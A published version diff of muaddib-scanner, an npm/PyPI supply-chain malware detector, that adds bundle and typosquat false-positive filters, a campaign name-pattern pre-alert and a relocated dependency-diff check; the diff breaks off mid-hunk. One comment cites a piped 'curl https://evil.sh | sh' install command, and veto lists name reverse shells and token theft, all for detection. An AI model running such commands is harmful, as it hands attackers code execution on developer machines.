muaddib-scanner 2.11.24 → 2.11.28

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.11.24",
3
+ "version": "2.11.28",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
@@ -141,6 +141,15 @@ const GITHUB_RELEASE_HOSTS = ['github.com', 'objects.githubusercontent.com', 'ra
141
141
  const BUNDLE_PATH_RE = /(?:^|[\\/])(?:dist|build|lib|out|umd|esm|cjs|bundle|_next[\\/]static|\.next[\\/]static|public[\\/]static|webpack|rollup)[\\/]/i;
142
142
  const BUNDLE_FILE_RE = /\.(?:min|bundle|prod|umd|iife|esm|cjs)\.(?:m?js|cjs)$|\.min\.js$|chunk-[0-9a-f]+\.js$|vendors?~?.*\.js$/i;
143
143
 
144
+ // v2.11.27 F12: reuse the exhaustive shared regex + veto helper from the
145
+ // scanner side (covers @kitware/vtk.js, playwright/lib/utilsBundleImpl,
146
+ // .yarn/releases, hash-suffixed chunks, Stencil sys/* dirs — patterns the
147
+ // narrower local BUNDLE_PATH_RE misses).
148
+ const {
149
+ BUNDLE_PATH_RE: SHARED_BUNDLE_PATH_RE,
150
+ hasBundleVetoSignal
151
+ } = require('../shared/bundle-detect.js');
152
+
144
153
  // Threat types that indicate remote content fetch in a file (for
145
154
  // `git_hook_source_local` heuristic: absence => local source).
146
155
  const REMOTE_FETCH_TYPES = new Set([
@@ -934,6 +943,202 @@ function aiAgentBot(result, meta) {
934
943
  return true;
935
944
  }
936
945
 
946
+ // ============================================================================
947
+ // Feature 12 — vendor_minified_bundle (v2.11.27, weekly review 2026-05-22, 9 FP)
948
+ // ============================================================================
949
+ //
950
+ // Targets the @photoroom/ui (1.8MB UMD bundle, 6 cascade types) and
951
+ // @vkontakte/videoplayer-shared (32KB min, 4 cascade types) cluster: vendor
952
+ // React/JS bundles where webpack/rollup/esbuild output legitimately produces
953
+ // `eval`, `new Function`, prototype mutations for framework reactivity,
954
+ // `Proxy({set/get})` interceptors, credential-regex-looking strings, and
955
+ // minified blobs that trip the obfuscation heuristic. Per-file co-occurrence
956
+ // of >=3 of those patterns on a path matching BUNDLE_PATH_RE is the signal.
957
+ //
958
+ // Complements F1 (bundleWithoutInstallScripts, cap 30) which requires ALL
959
+ // threat files to exceed 100KB and ALL threats to carry t.file — both
960
+ // conditions are too strict for the v2.11.27 cluster (vkontakte is 32KB; the
961
+ // cluster co-occurs with package-level `intent_credential_exfil` for some
962
+ // packages). F12 uses a 20KB floor per cascade file and an explicit C3
963
+ // veto on package-level exfil intents instead of disqualifying outright.
964
+
965
+ const CASCADE_TYPES = new Set([
966
+ 'credential_regex_harvest', // MUADDIB-AST-041
967
+ 'dangerous_call_eval', // MUADDIB-AST-004
968
+ 'dangerous_call_function', // MUADDIB-AST-005
969
+ 'prototype_pollution', // MUADDIB-AST-065
970
+ 'proxy_data_intercept', // MUADDIB-AST-043
971
+ 'remote_code_load', // MUADDIB-AST-040
972
+ 'obfuscation_detected', // src/scanner/obfuscation.js
973
+ 'js_obfuscation_pattern'
974
+ ]);
975
+ const CASCADE_MIN_TYPES = 3;
976
+ const CASCADE_MIN_FILE_BYTES = 20 * 1024;
977
+
978
+ /**
979
+ * Feature 12 — TRUE iff the package ships at least one minified vendor
980
+ * bundle file with >=3 distinct CASCADE_TYPES firing on it AND has no
981
+ * install lifecycle script AND no veto signal AND no package-level exfil
982
+ * intent.
983
+ *
984
+ * Discriminator vs malware injected into a bundle:
985
+ * - hasBundleVetoSignal (src/shared/bundle-detect.js) catches reverse_shell,
986
+ * node_modules_write, npm_publish_worm, npm_token_steal, systemd_persistence,
987
+ * unicode_invisible_injection (GlassWorm), ioc_match,
988
+ * known_malicious_package, shai_hulud_marker, detached_credential_exfil,
989
+ * ai_config_injection, ide_task_persistence, plus env_access on
990
+ * SENSITIVE_ENV_RE (NPM_TOKEN, AWS_*, SSH_*, etc.).
991
+ * - C3 catches Axios UNC1069-style package-level intent_credential_exfil /
992
+ * intent_command_exfil (no `t.file` → not file-scoped → real campaign).
993
+ * - C2 (no lifecycle) catches postinstall droppers.
994
+ * - C7 (20KB floor) catches hand-written 4KB eval injections in dist/.
995
+ *
996
+ * Cap 25 (MEDIUM). Tighter than F1=30: the cascade of >=3 bundler-emitted
997
+ * heuristics on a single file is a stronger structural bundler signature
998
+ * than "any large file with no install hook".
999
+ */
1000
+ function vendorMinifiedBundle(result, meta) {
1001
+ if (!meta || !meta.registryMeta || meta.registryMeta.scripts === undefined) return false;
1002
+ if (hasLifecycleScripts(meta)) return false;
1003
+
1004
+ const threats = (result && result.threats) || [];
1005
+ if (threats.length === 0) return false;
1006
+
1007
+ // C3 — package-level exfil intent disqualifies (real campaign signal,
1008
+ // not bundler artifact: bundlers never produce intent threats without
1009
+ // a backing file).
1010
+ for (const t of threats) {
1011
+ if ((t.type === 'intent_credential_exfil' || t.type === 'intent_command_exfil') && !t.file) {
1012
+ return false;
1013
+ }
1014
+ }
1015
+
1016
+ const summary = (result && result.summary) || {};
1017
+ const fileSizes = summary.fileSizes || {};
1018
+ const typesByFile = new Map();
1019
+
1020
+ for (const t of threats) {
1021
+ if (!t.file || !CASCADE_TYPES.has(t.type)) continue;
1022
+ if (!SHARED_BUNDLE_PATH_RE.test(t.file) && !BUNDLE_FILE_RE.test(t.file)) continue;
1023
+ if (!typesByFile.has(t.file)) typesByFile.set(t.file, new Set());
1024
+ typesByFile.get(t.file).add(t.type);
1025
+ }
1026
+
1027
+ for (const [file, types] of typesByFile) {
1028
+ if (types.size < CASCADE_MIN_TYPES) continue;
1029
+ if (hasBundleVetoSignal(threats, file)) continue;
1030
+ const size = fileSizes[file];
1031
+ if (typeof size === 'number' && size < CASCADE_MIN_FILE_BYTES) continue;
1032
+ return true;
1033
+ }
1034
+ return false;
1035
+ }
1036
+
1037
+ // ============================================================================
1038
+ // Feature 13 — typosquat_benign_lifecycle (v2.11.28, weekly review 2026-05-22, 9 FP)
1039
+ // ============================================================================
1040
+ //
1041
+ // Targets the dependency_typosquat boundary-squat cluster (Axios UNC1069 rule
1042
+ // RT-C1 fired in March 2026 + RT-C1-FPR audit 2026-05). The boundary-squat
1043
+ // scanner emits `dependency_typosquat` MEDIUM on any sub-dep matching
1044
+ // `<prefix>-<popular>` or `<popular>-<suffix>` when the extra token is not in
1045
+ // LEGIT_BOUNDARY_TOKENS. The compound `typosquat_lifecycle` (CRITICAL,
1046
+ // src/scoring.js:517-523) escalates it to CRITICAL whenever a lifecycle hook
1047
+ // is present — including provably benign ones like `husky install`,
1048
+ // `npm run build`, or `node patches/apply-patches.js` (balena-cli pattern).
1049
+ //
1050
+ // F13 suppresses that compound's contribution when all lifecycle scripts are
1051
+ // provably benign AND no real exfil / IOC / `dependency_typosquat_used`
1052
+ // signal is present. The Axios UNC1069 discriminator (require()d sub-dep)
1053
+ // emits dependency_typosquat_used + the dependency_typosquat_require
1054
+ // compound — both vetoed in F13_VETO_TYPES.
1055
+ //
1056
+ // Reuses `isSafeLifecycleScript` from src/monitor/temporal.js:53 (covers
1057
+ // `npm run build`, `tsc`, `eslint`, etc.) and extends it with audit-observed
1058
+ // patterns: husky install, simple-git-hooks, patch-package,
1059
+ // `node patches/apply-patches.js`, is-ci || X guard.
1060
+
1061
+ const { isSafeLifecycleScript } = require('../monitor/temporal.js');
1062
+
1063
+ const F13_BENIGN_SCRIPT_RE = /^(?:is-ci\s*\|\|\s*)?(?:husky(?:\s+install)?|simple-git-hooks|patch-package|node\s+patches\/apply-patches\.js|npm\s+run\s+build(?::[a-z0-9_-]+)?)\s*$/i;
1064
+
1065
+ function isBenignLifecycleScript(value) {
1066
+ if (!value || typeof value !== 'string') return false;
1067
+ if (isSafeLifecycleScript(value)) return true;
1068
+ return value.trim().split(/\s*&&\s*/).every(cmd => F13_BENIGN_SCRIPT_RE.test(cmd.trim()));
1069
+ }
1070
+
1071
+ const F13_VETO_TYPES = new Set([
1072
+ // Egress / exfil — any real network capability is a campaign signal
1073
+ 'suspicious_dataflow', 'suspicious_domain', 'remote_code_load', 'curl_exec',
1074
+ 'intent_credential_exfil', 'intent_command_exfil', 'fetch_decrypt_exec',
1075
+ 'reverse_shell', 'binary_dropper', 'download_exec_binary',
1076
+ 'curl_env_exfil', 'external_tarball_dep', 'dependency_url_suspicious',
1077
+ 'blockchain_c2_resolution', 'dns_exfil',
1078
+ // Worm propagation (Shai-Hulud)
1079
+ 'npm_publish_worm', 'node_modules_write', 'npm_token_steal',
1080
+ // IOC hits
1081
+ 'ioc_match', 'known_malicious_package', 'shai_hulud_marker', 'ioc_string_match',
1082
+ // DPRK / mini Shai-Hulud 2026-05
1083
+ 'detached_credential_exfil', 'ai_config_injection', 'ide_task_persistence',
1084
+ // Axios UNC1069 discriminator: dep is require()d in code
1085
+ 'dependency_typosquat_used', 'dependency_typosquat_require'
1086
+ ]);
1087
+
1088
+ const F13_LIFECYCLE_KEYS = ['preinstall', 'install', 'postinstall', 'prepare'];
1089
+
1090
+ /**
1091
+ * Feature 13 — TRUE iff the package shows the compound `typosquat_lifecycle`
1092
+ * (boundary-squat dep + lifecycle hook) AND every declared lifecycle script
1093
+ * is provably benign AND no exfil / IOC / dep-usage signal is present.
1094
+ *
1095
+ * Discriminator vs malware:
1096
+ * - Axios UNC1069 wrappers emit `dependency_typosquat_used` (the dep is
1097
+ * require()d in source) + compound `dependency_typosquat_require` → veto.
1098
+ * - Shai-Hulud worm emits `npm_publish_worm`, `node_modules_write`,
1099
+ * `npm_token_steal` → veto.
1100
+ * - GlassWorm / DPRK emit `unicode_invisible_injection` (downstream
1101
+ * irrelevant — caught at scanner severity)/ `detached_credential_exfil`
1102
+ * / `ai_config_injection` / `ide_task_persistence` → veto.
1103
+ * - Real install-time droppers carry suspicious_dataflow / suspicious_domain
1104
+ * / remote_code_load / curl_exec / intent_*_exfil → veto.
1105
+ * - Hand-crafted `curl https://evil.sh | sh` postinstall fails
1106
+ * isBenignLifecycleScript → veto.
1107
+ *
1108
+ * Targets the v2.11.28 weekly review 2026-05-22 cluster:
1109
+ * - @doyourjob/gravity-ui-page-constructor (prepare: husky install)
1110
+ * - balena-cli (postinstall: node patches/apply-patches.js)
1111
+ * - magmastream (prepare: npm run build)
1112
+ * - @1d1s/design-system (prepare: npm run build:lib)
1113
+ * - @healthcare-interoperability/fhir-storage-core (prepare: npm run build)
1114
+ * - @quicore/problem-details-error (prepare: npm run build)
1115
+ *
1116
+ * Cap 30 (MEDIUM). Matches the F9 (mcp_server_env_access) cap because both
1117
+ * suppress a compound-driven CRITICAL into the residual MEDIUM signal.
1118
+ */
1119
+ function typosquatBenignLifecycle(result, meta) {
1120
+ const threats = (result && result.threats) || [];
1121
+ if (!threats.some(t => t.type === 'dependency_typosquat' || t.type === 'typosquat_detected')) return false;
1122
+ if (!threats.some(t => t.type === 'lifecycle_script')) return false;
1123
+ if (!threats.some(t => t.type === 'typosquat_lifecycle')) return false;
1124
+
1125
+ for (const t of threats) {
1126
+ if (F13_VETO_TYPES.has(t.type)) return false;
1127
+ }
1128
+
1129
+ const scripts = (meta && meta.registryMeta && meta.registryMeta.scripts) || null;
1130
+ if (!scripts || typeof scripts !== 'object') return false;
1131
+
1132
+ let sawScript = false;
1133
+ for (const key of F13_LIFECYCLE_KEYS) {
1134
+ const v = scripts[key];
1135
+ if (typeof v !== 'string' || v.trim().length === 0) continue;
1136
+ sawScript = true;
1137
+ if (!isBenignLifecycleScript(v)) return false;
1138
+ }
1139
+ return sawScript;
1140
+ }
1141
+
937
1142
  /**
938
1143
  * Feature 8 — TRUE iff the package declares at least one install
939
1144
  * lifecycle script AND the scan shows no network egress capability
@@ -1171,5 +1376,8 @@ module.exports = {
1171
1376
  installScriptNoNetworkEgress,
1172
1377
  mcpServerEnvAccess,
1173
1378
  vendorCliSdk,
1174
- aiAgentBot
1379
+ aiAgentBot,
1380
+ vendorMinifiedBundle,
1381
+ typosquatBenignLifecycle,
1382
+ isBenignLifecycleScript
1175
1383
  };
@@ -14,7 +14,23 @@ const {
14
14
  loadNpmSeq, saveNpmSeq, CHANGES_STREAM_URL, CHANGES_LIMIT, CHANGES_CATCHUP_MAX,
15
15
  savePypiSerial, PYPI_XMLRPC_URL, PYPI_CATCHUP_MAX
16
16
  } = require('./state.js');
17
- const { sendIOCPreAlert } = require('./webhook.js');
17
+ const { sendIOCPreAlert, sendCampaignPreAlert } = require('./webhook.js');
18
+
19
+ // Active-campaign name patterns. Pre-alert fires on match BEFORE tarball
20
+ // download so operators have visibility while IOC lists catch up (typical
21
+ // lag: hours to days).
22
+ // did-NNNN (May 2026): wave of did-0001..did-9999 publications observed in
23
+ // the changes stream — name shape alone is enough to flag for fast triage.
24
+ const CAMPAIGN_PATTERNS = [
25
+ { name: 'did-NNNN', re: /^did-\d{4}$/ }
26
+ ];
27
+
28
+ function matchCampaignPattern(name) {
29
+ for (const c of CAMPAIGN_PATTERNS) {
30
+ if (c.re.test(name)) return c.name;
31
+ }
32
+ return null;
33
+ }
18
34
  const { evaluateCacheTrigger, POPULAR_THRESHOLD, downloadsCache, DOWNLOADS_CACHE_TTL } = require('./classify.js');
19
35
 
20
36
  const SELF_PACKAGE_NAME = require('../../package.json').name;
@@ -133,105 +149,6 @@ async function getWeeklyDownloads(packageName) {
133
149
  }
134
150
  }
135
151
 
136
- // --- Trusted dependency diff check ---
137
-
138
- const TRUSTED_DEP_AGE_THRESHOLD_MS = 7 * 24 * 60 * 60 * 1000; // 7 days
139
-
140
- /**
141
- * Check for new dependencies added to a TRUSTED (popular) package.
142
- * Detects supply-chain attacks where a compromised maintainer account adds a
143
- * malicious dependency in a patch bump (e.g., axios 1.14.0 → 1.14.1 adding
144
- * plain-crypto-js, 2026-03-30).
145
- *
146
- * @param {string} name - Package name
147
- * @param {string} newVersion - Newly published version
148
- * @returns {Array} Array of findings (empty if no new deps or on error)
149
- */
150
- async function checkTrustedDepDiff(name, newVersion) {
151
- const findings = [];
152
- try {
153
- // Fetch packument to get version list and dependencies
154
- const body = await httpsGet(`https://registry.npmjs.org/${encodeURIComponent(name)}`, 10_000);
155
- const packument = JSON.parse(body);
156
-
157
- if (!packument.versions || !packument.time) return findings;
158
-
159
- // Sort versions by publish time (not semver — handles prereleases correctly)
160
- const timeMap = packument.time;
161
- const versionKeys = Object.keys(packument.versions)
162
- .filter(v => timeMap[v])
163
- .sort((a, b) => new Date(timeMap[a]) - new Date(timeMap[b]));
164
-
165
- const newIdx = versionKeys.indexOf(newVersion);
166
- if (newIdx <= 0) return findings; // First version or not found
167
-
168
- const prevVersion = versionKeys[newIdx - 1];
169
-
170
- const prevDeps = (packument.versions[prevVersion] && packument.versions[prevVersion].dependencies) || {};
171
- const newDeps = (packument.versions[newVersion] && packument.versions[newVersion].dependencies) || {};
172
-
173
- // Find newly added dependencies (name not present in previous version)
174
- const addedDeps = Object.keys(newDeps).filter(dep => !(dep in prevDeps));
175
- if (addedDeps.length === 0) return findings;
176
-
177
- console.log(`[MONITOR] TRUSTED dep diff: ${name} ${prevVersion} → ${newVersion}: +${addedDeps.length} new dep(s): ${addedDeps.join(', ')}`);
178
-
179
- for (const dep of addedDeps) {
180
- let ageMs = null;
181
- try {
182
- const depBody = await httpsGet(`https://registry.npmjs.org/${encodeURIComponent(dep)}`, 5_000);
183
- const depData = JSON.parse(depBody);
184
- const created = depData.time && depData.time.created;
185
- if (created) {
186
- ageMs = Date.now() - new Date(created).getTime();
187
- }
188
- } catch (err) {
189
- console.log(`[MONITOR] WARNING: could not check age of dependency ${dep}: ${err.message}`);
190
- }
191
-
192
- if (ageMs === null || ageMs < TRUSTED_DEP_AGE_THRESHOLD_MS) {
193
- // Unknown or < 7 days old — CRITICAL
194
- const ageDays = ageMs !== null ? Math.floor(ageMs / 86400000) : 'unknown';
195
- findings.push({
196
- type: 'trusted_new_unknown_dependency',
197
- severity: 'CRITICAL',
198
- confidence: ageMs === null ? 'medium' : 'high',
199
- file: 'package.json',
200
- message: `TRUSTED package ${name} added unknown dependency ${dep} (age: ${ageDays}d) in version ${prevVersion} → ${newVersion}`,
201
- rule_id: 'MUADDIB-TRUSTED-001',
202
- mitre: 'T1195.002',
203
- dep,
204
- depAgeDays: ageDays,
205
- prevVersion,
206
- newVersion
207
- });
208
- } else {
209
- // Known dependency (>= 7 days old) — HIGH
210
- const ageDays = Math.floor(ageMs / 86400000);
211
- findings.push({
212
- type: 'trusted_new_dependency',
213
- severity: 'HIGH',
214
- confidence: 'medium',
215
- file: 'package.json',
216
- message: `TRUSTED package ${name} added new dependency ${dep} (age: ${ageDays}d) in version ${prevVersion} → ${newVersion}`,
217
- rule_id: 'MUADDIB-TRUSTED-002',
218
- mitre: 'T1195.002',
219
- dep,
220
- depAgeDays: ageDays,
221
- prevVersion,
222
- newVersion
223
- });
224
- }
225
- }
226
-
227
- return findings;
228
- } catch (err) {
229
- // Graceful fallback — log warning, continue as TRUSTED
230
- console.log(`[MONITOR] WARNING: trusted dep diff check failed for ${name}@${newVersion}: ${err.message}`);
231
- return findings;
232
- }
233
- }
234
-
235
152
  // --- Tarball URL helpers ---
236
153
 
237
154
  function getNpmTarballUrl(pkgData) {
@@ -595,6 +512,20 @@ async function pollNpmChanges(state, scanQueue, stats) {
595
512
  console.warn(`[MONITOR] IOC pre-check failed: ${err.message}`);
596
513
  }
597
514
 
515
+ // Layer 1b: Campaign pre-alert — fire on name-pattern matches when the
516
+ // package isn't already a known IOC (avoid duplicate webhooks for the
517
+ // same publication). Lets us flag campaign waves while IOC lists lag.
518
+ if (!isKnownIOC) {
519
+ const campaign = matchCampaignPattern(name);
520
+ if (campaign) {
521
+ console.log(`[MONITOR] CAMPAIGN PRE-ALERT: ${name} — matches ${campaign}`);
522
+ stats.campaignPreAlerts = (stats.campaignPreAlerts || 0) + 1;
523
+ sendCampaignPreAlert(name, campaign).catch(err => {
524
+ console.error(`[MONITOR] campaign pre-alert webhook failed for ${name}: ${err.message}`);
525
+ });
526
+ }
527
+ }
528
+
598
529
  // Layer 2: Extract tarball URL from CouchDB doc (eliminates lazy resolution 404 race)
599
530
  const docMeta = change.doc ? extractTarballFromDoc(change.doc) : null;
600
531
 
@@ -690,9 +621,10 @@ async function pollNpmRss(state, scanQueue, stats) {
690
621
 
691
622
  // Layer 1: IOC pre-alert (RSS fallback path)
692
623
  // Only wildcard IOCs trigger here; versioned IOCs checked in resolveTarballAndScan().
624
+ let isKnownIOC = false;
693
625
  try {
694
626
  const iocs = loadCachedIOCs();
695
- const isKnownIOC = iocs.wildcardPackages && iocs.wildcardPackages.has(name);
627
+ isKnownIOC = iocs.wildcardPackages && iocs.wildcardPackages.has(name);
696
628
  if (isKnownIOC) {
697
629
  console.log(`[MONITOR] IOC PRE-ALERT: ${name} — known malicious package detected via RSS`);
698
630
  stats.iocPreAlerts = (stats.iocPreAlerts || 0) + 1;
@@ -702,6 +634,18 @@ async function pollNpmRss(state, scanQueue, stats) {
702
634
  }
703
635
  } catch { /* IOC load failure is non-fatal */ }
704
636
 
637
+ // Layer 1b: Campaign pre-alert (RSS fallback path) — mirrors pollNpmChanges.
638
+ if (!isKnownIOC) {
639
+ const campaign = matchCampaignPattern(name);
640
+ if (campaign) {
641
+ console.log(`[MONITOR] CAMPAIGN PRE-ALERT: ${name} — matches ${campaign} (RSS)`);
642
+ stats.campaignPreAlerts = (stats.campaignPreAlerts || 0) + 1;
643
+ sendCampaignPreAlert(name, campaign).catch(err => {
644
+ console.error(`[MONITOR] campaign pre-alert webhook failed for ${name}: ${err.message}`);
645
+ });
646
+ }
647
+ }
648
+
705
649
  // Queue npm packages — tarball URL resolved during scan
706
650
  scanQueue.push({
707
651
  name,
@@ -1150,8 +1094,6 @@ module.exports = {
1150
1094
  httpsGet,
1151
1095
  httpsPost,
1152
1096
  getWeeklyDownloads,
1153
- checkTrustedDepDiff,
1154
- TRUSTED_DEP_AGE_THRESHOLD_MS,
1155
1097
 
1156
1098
  // Tarball URL helpers
1157
1099
  getNpmTarballUrl,
@@ -1183,6 +1125,10 @@ module.exports = {
1183
1125
  pollPyPI,
1184
1126
  poll,
1185
1127
 
1128
+ // Active-campaign name watch (did-NNNN, etc.)
1129
+ CAMPAIGN_PATTERNS,
1130
+ matchCampaignPattern,
1131
+
1186
1132
  // Test seam — see _deps definition near the top of this file.
1187
1133
  _deps
1188
1134
  };
@@ -56,8 +56,6 @@ const {
56
56
  formatFindings,
57
57
  evaluateCacheTrigger,
58
58
  isFirstPublishHighRisk,
59
- POPULAR_THRESHOLD,
60
- downloadsCache: classifyDownloadsCache,
61
59
  DOWNLOADS_CACHE_TTL,
62
60
  HIGH_CONFIDENCE_MALICE_TYPES,
63
61
  IOC_MATCH_TYPES,
@@ -98,8 +96,8 @@ const {
98
96
  isSafeLifecycleScript
99
97
  } = require('./temporal.js');
100
98
 
101
- // From ./ingestion.js (will be created — currently in monitor.js)
102
- const { getNpmLatestTarball, getPyPITarballUrl, getWeeklyDownloads, checkTrustedDepDiff } = require('./ingestion.js');
99
+ // From ./ingestion.js
100
+ const { getNpmLatestTarball, getPyPITarballUrl } = require('./ingestion.js');
103
101
 
104
102
  // From ./tarball-archive.js
105
103
  const { archiveSuspectTarball } = require('./tarball-archive.js');
@@ -226,12 +224,15 @@ function countPackageFiles(dir) {
226
224
  *
227
225
  * @param {string} extractedDir - Path to extracted package
228
226
  * @param {number} timeoutMs - Timeout in milliseconds
227
+ * @param {object} [scanContext] - Monitor-side context spread into pipeline options.
228
+ * Required by opt-in scanners (e.g. trusted-dep-diff) that need name/version/ecosystem
229
+ * and a monitorMode flag to perform registry queries.
229
230
  * @returns {Promise<object>} Scan result (same shape as run(_, {_capture:true}))
230
231
  */
231
- function runScanInWorker(extractedDir, timeoutMs) {
232
+ function runScanInWorker(extractedDir, timeoutMs, scanContext = null) {
232
233
  return new Promise((resolve, reject) => {
233
234
  const worker = new Worker(SCAN_WORKER_PATH, {
234
- workerData: { extractedDir }
235
+ workerData: { extractedDir, scanContext: scanContext || {} }
235
236
  });
236
237
 
237
238
  let settled = false;
@@ -418,7 +419,19 @@ async function scanPackage(name, version, ecosystem, tarballUrl, registryMeta, s
418
419
 
419
420
  let result;
420
421
  try {
421
- result = await runScanInWorker(extractedDir, STATIC_SCAN_TIMEOUT_MS);
422
+ // scanContext: feeds monitor-side info (name/version/ecosystem) and the
423
+ // monitorMode + trustedDepDiff flags into opt-in pipeline scanners.
424
+ // The trusted-dep-diff scanner needs both name and version to query the
425
+ // registry for the previous-version dependency list — that information
426
+ // is meaningless in offline CLI mode but available here.
427
+ const scanContext = {
428
+ name,
429
+ version,
430
+ ecosystem,
431
+ monitorMode: true,
432
+ trustedDepDiff: true
433
+ };
434
+ result = await runScanInWorker(extractedDir, STATIC_SCAN_TIMEOUT_MS, scanContext);
422
435
  } catch (staticErr) {
423
436
  if (/static scan timeout/i.test(staticErr.message)) {
424
437
  console.error(`[MONITOR] STATIC_TIMEOUT: ${name}@${version} — exceeded ${STATIC_SCAN_TIMEOUT_MS / 1000}s (worker terminated)`);
@@ -542,40 +555,20 @@ async function scanPackage(name, version, ecosystem, tarballUrl, registryMeta, s
542
555
  recordTrainingSample(result, { name, version, ecosystem, label: 'clean', registryMeta: meta, unpackedSize: meta.unpackedSize, npmRegistryMeta, fileCountTotal, hasTests });
543
556
  return { sandboxResult: null, staticClean: true };
544
557
  } else {
545
- // Popularity pre-filter: skip sandbox for popular npm packages with only MEDIUM/LOW
546
- if (ecosystem === 'npm' && !hasIOCMatch(result) && !hasTyposquat(result) && !hasHighOrCritical(result)) {
547
- const downloads = await getWeeklyDownloads(name);
548
- if (downloads >= POPULAR_THRESHOLD) {
549
- // Dependency diff check: detect supply-chain injection on TRUSTED packages
550
- // (e.g., axios 1.14.0 1.14.1 adding unknown plain-crypto-js, 2026-03-30)
551
- const trustedFindings = await checkTrustedDepDiff(name, version);
552
- const hasCriticalDepFinding = trustedFindings.some(f => f.severity === 'CRITICAL');
553
-
554
- if (hasCriticalDepFinding) {
555
- // CRITICAL: unknown/new dependency — bypass TRUSTED, route to full scan + sandbox
556
- console.log(`[MONITOR] TRUSTED BYPASS: ${name}@${version} new unknown dependency detected, routing to full scan`);
557
- result.threats.push(...trustedFindings);
558
- for (const f of trustedFindings) {
559
- if (f.severity === 'CRITICAL') result.summary.critical = (result.summary.critical || 0) + 1;
560
- else if (f.severity === 'HIGH') result.summary.high = (result.summary.high || 0) + 1;
561
- }
562
- // Fall through to full classification below (do NOT return)
563
- } else {
564
- // No CRITICAL dep findings — normal TRUSTED skip (log HIGH findings if any)
565
- for (const f of trustedFindings) {
566
- console.log(`[MONITOR] TRUSTED dep change: ${f.message}`);
567
- }
568
- stats.scanned++;
569
- const elapsed = Date.now() - startTime;
570
- stats.totalTimeMs += elapsed;
571
- stats.clean++;
572
- console.log(`[MONITOR] TRUSTED (popular): ${name}@${version} (${Math.round(downloads / 1000)}k downloads/week, ${counts.join(', ')})`);
573
- updateScanStats('clean');
574
- recordTrainingSample(result, { name, version, ecosystem, label: 'clean', registryMeta: meta, unpackedSize: meta.unpackedSize, npmRegistryMeta, fileCountTotal, hasTests });
575
- return { sandboxResult: null, staticClean: true };
576
- }
577
- }
578
- }
558
+ // No popularity-based skip here. The TRUSTED (popular) shortcut that used
559
+ // to live at this point was a whitelist-by-downloads CLAUDE.md forbids
560
+ // FP-reducing whitelists, and the Shai-Hulud wave-2 ATO attacks of May 2026
561
+ // proved that popular packages are precisely the prime target for ATO.
562
+ // Downstream attenuation handles the FP load via computeReputationFactor()
563
+ // and the graduated webhook threshold (webhook.js:83-87) popular packages
564
+ // need a higher static score to fire a webhook, but they remain visible in
565
+ // the pipeline (sandbox, persisted detections, training samples) the same
566
+ // way every other package is. The supply-chain dep-diff check that the
567
+ // old block used as bypass logic now runs as a first-class scanner
568
+ // (src/scanner/trusted-dep-diff.js, wired in via executor.js); its findings
569
+ // arrive in result.threats before this point, so isSuspectClassification
570
+ // and the reputation bypass for HIGH_CONFIDENCE_MALICE_TYPES take the
571
+ // package straight to tier 1a + mandatory sandbox + webhook.
579
572
 
580
573
  const classification = isSuspectClassification(result);
581
574
  if (!classification.suspect) {
@@ -187,6 +187,41 @@ async function sendIOCPreAlert(name, version) {
187
187
  await sendWebhook(url, payload, { rawPayload: true });
188
188
  }
189
189
 
190
+ /**
191
+ * Layer 1b: Send immediate pre-alert webhook when a package name matches an
192
+ * active-campaign pattern (e.g. `did-NNNN` in May 2026). Fires BEFORE tarball
193
+ * download \u2014 IOC lists are eventually-consistent and lag the campaign by
194
+ * hours to days, so name-pattern watch is the only signal available in real
195
+ * time while the campaign is in flight.
196
+ * @param {string} name - Package name that matched the campaign pattern
197
+ * @param {string} campaign - Short campaign label (e.g. 'did-NNNN')
198
+ */
199
+ async function sendCampaignPreAlert(name, campaign) {
200
+ const url = getWebhookUrl();
201
+ if (!url) return;
202
+
203
+ const npmLink = `https://www.npmjs.com/package/${encodeURIComponent(name)}`;
204
+
205
+ const payload = {
206
+ embeds: [{
207
+ title: '\u26a0\ufe0f CAMPAIGN PRE-ALERT \u2014 Suspected Active Campaign',
208
+ color: 0xe67e22,
209
+ fields: [
210
+ { name: 'Package', value: `[${name}](${npmLink})`, inline: true },
211
+ { name: 'Source', value: `Name pattern: ${campaign}`, inline: true },
212
+ { name: 'Detection', value: 'Changes stream pre-scan', inline: true },
213
+ { name: 'Status', value: 'Suspected campaign publication \u2014 not yet confirmed malicious. Full scan queued; treat as suspect until verdict lands.', inline: false }
214
+ ],
215
+ footer: {
216
+ text: `MUAD'DIB Campaign Pre-Alert | ${new Date().toISOString().replace('T', ' ').replace(/\.\d+Z$/, ' UTC')}`
217
+ },
218
+ timestamp: new Date().toISOString()
219
+ }]
220
+ };
221
+
222
+ await sendWebhook(url, payload, { rawPayload: true });
223
+ }
224
+
190
225
  /**
191
226
  * Check if a specific package@version matches a versioned IOC entry.
192
227
  * Returns the matching IOC entry or null.
@@ -1172,6 +1207,7 @@ module.exports = {
1172
1207
  shouldSendWebhook,
1173
1208
  buildMonitorWebhookPayload,
1174
1209
  sendIOCPreAlert,
1210
+ sendCampaignPreAlert,
1175
1211
  matchVersionedIOC,
1176
1212
  computeRiskLevel,
1177
1213
  computeRiskScore,
@@ -10,6 +10,7 @@ const { scanIocStrings } = require('../scanner/ioc-strings.js');
10
10
  const { scanAntiForensic } = require('../scanner/anti-forensic.js');
11
11
  const { scanStubPackage } = require('../scanner/stub-package.js');
12
12
  const { scanMonorepo } = require('../scanner/monorepo.js');
13
+ const { scanTrustedDepDiff } = require('../scanner/trusted-dep-diff.js');
13
14
  const { analyzeDataFlow } = require('../scanner/dataflow.js');
14
15
  const { scanTyposquatting, findPyPITyposquatMatch } = require('../scanner/typosquat.js');
15
16
  const { scanGitHubActions } = require('../scanner/github-actions.js');
@@ -201,7 +202,7 @@ async function execute(targetPath, options, pythonDeps, warnings) {
201
202
  'scanDependencies', 'scanHashes', 'analyzeDataFlow', 'scanTyposquatting',
202
203
  'scanGitHubActions', 'matchPythonIOCs', 'checkPyPITyposquatting',
203
204
  'scanEntropy', 'scanAIConfig', 'scanIocStrings', 'scanAntiForensic',
204
- 'scanStubPackage', 'scanMonorepo'
205
+ 'scanStubPackage', 'scanMonorepo', 'scanTrustedDepDiff'
205
206
  ];
206
207
 
207
208
  const settledResults = await Promise.allSettled([
@@ -221,7 +222,13 @@ async function execute(targetPath, options, pythonDeps, warnings) {
221
222
  yieldThen(() => scanIocStrings(targetPath)),
222
223
